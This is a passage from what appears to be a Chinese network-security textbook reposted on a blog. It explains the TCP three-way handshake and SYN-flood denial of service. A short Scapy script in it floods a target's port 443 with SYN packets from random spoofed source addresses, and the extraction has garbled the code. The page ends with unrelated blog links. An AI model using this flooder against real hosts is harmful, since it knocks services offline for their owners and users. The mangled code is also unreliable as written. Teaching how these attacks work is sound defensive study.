传输层DoS

传输层是国际标准化组织提出的开放系统互联参考模型(OSI)中的第四

层。该层协议为网络端点主机上的进程之间提供了可靠、有效的报文传送服务。 平时我们所谈论的拒绝服务攻击大多是基于TCP的,因为现实中拒绝服务的对象 往往都是提供HTTP服务的服务器。

传输控制协议(Transmission Control Protocol ,TCP)是一种面向连接的、可 靠的、基于字节流的传输层通信协议。使用三次握手协议建立连接。当源主机发 出SYN连接请求后,等待目的主机应答SYN+ACK ,并最终对对方的SYN进行

ACK确认。这种建立连接的方法可以防止产生错误的连接,TCP使用的流量控制 协议是可变大小的滑动窗口协议。其具体的TCP三次握手的过程如下:

1)客户端发送SYN(SEQ=x )报文给服务器端,进入SYN_SEND状态。

2)服务器端收到SYN报文,回应一个SYN(SEQ=y)ACK(ACK=x+1)报 文,进入SYN_RECV状态。

3)客户端收到服务器端的SYN报文,回应一个ACK(ACK=y+1)报文,进 入Established状态。

图9-18 TCP三次握手

三次握手完成,TCP客户端和服务器端便成功地建立连接,可以开始传输数 据了。整个TCP三次握手过程如图9-18所示。

不同于针对ICMP和UDP的拒绝服务攻击,基于TCP的拒绝服务攻击就是利用 三次握手过程实现的,一些恶意的攻击者可以向目标发送大量的TCP SYN请求数 据包。 目标计算机如果接收到大量TCP SYN报文,而没有收到发起者的第三次

ACK回应,会一直等待,处于这样尴尬状态的半连接如果很多,则会把目标计算 机的资源消耗殆尽(TCP控制结构,一般情况下是有限的),从而影响正常的

TCP连接请求。通常将这种攻击方式称为SYN拒绝服务攻击,其具体过程如下所 示:

1)攻击者向目标计算机发送一个TCP SYN报文。

2) 目标计算机收到这个报文后,建立TCP连接控制结构,并回应一个ACK, 等待发起者的回应。

图9-19 半TCP握手

3)发起者则不向目标计算机回应ACK报文,这样导致目标计算机一直处于 等待状态。

如图9-19所示为其对应的半TCP握手。

与9.3.2节类似,可以使用随机源IP地址,伪造半TCP握手,对目标主机进行 拒绝服务攻击,其详细代码如下所示:

U

#-*- coding:utf-8 -*-

import sys

from scapy .all import *

def start(argv) :

if len(sys .argv)<2:

print(sys .argv0 +" <target_ip>")

sys .exit(0)

while(1) :

pds t = sys .argv1

send(IP(src=Rand IP(),dst=pds t)/TCP(dport=443,flags="S"))

if name == 'main ' :

#定义异常

try:

start(sys .argv1:)

except Keyboard Interrupt :

print("interrupted by user, killing all threads . . .")

执行程序,将目标主机IP设定为192.168.0.105 ,应用Wireshark捕获数据包, 执行效果如下所示:

相关推荐
疯狂打码的少年31 分钟前
【数据结构】复习日:树 + 图 + 排序(整理对比表)
数据结构·笔记·算法
苏子寒1 小时前
Nano-VLLM全代码解析笔记(2)-block_manager
人工智能·笔记·python·机器学习·nlp·vllm
心仪久了会沦陷1 小时前
数据结构入门系列——顺序表详解:概念、分类与动态实现
c语言·数据结构·经验分享·笔记·开源
存在morning2 小时前
【PySpark 学习笔记 六】性能优化:分区、Shuffle、缓存与数据倾斜
笔记·学习·性能优化
hongmai6668882 小时前
竖插专用:ESP8684-WROOM-07-H2X模组上手记录
笔记·单片机·嵌入式硬件·物联网·risc-v
是枚小菜鸡儿吖5 小时前
把视频教程变成可复习的笔记:Docker 部署 BiliNote,自动转写与总结
笔记·docker·容器
运维全栈笔记5 小时前
Vue + Spring Boot 前后端分离项目部署笔记(若依 RuoYi-Vue 3.9.2)
运维·服务器·vue.js·spring boot·笔记·开源·开源软件
xian_wwq12 小时前
【学习笔记】-深度认知系列-第1讲-AI不是魔法——三句话讲清楚人工智能到底是什么
笔记·学习·深度认知
M78佐菲12 小时前
c语言学习笔记:排序与查找方法整理
linux·c语言·笔记·学习·算法
摇滚侠13 小时前
《SpringBoot 3:入门与应用实战》第 5 章 使用 Spring Boot 阅读笔记 9
java·spring boot·笔记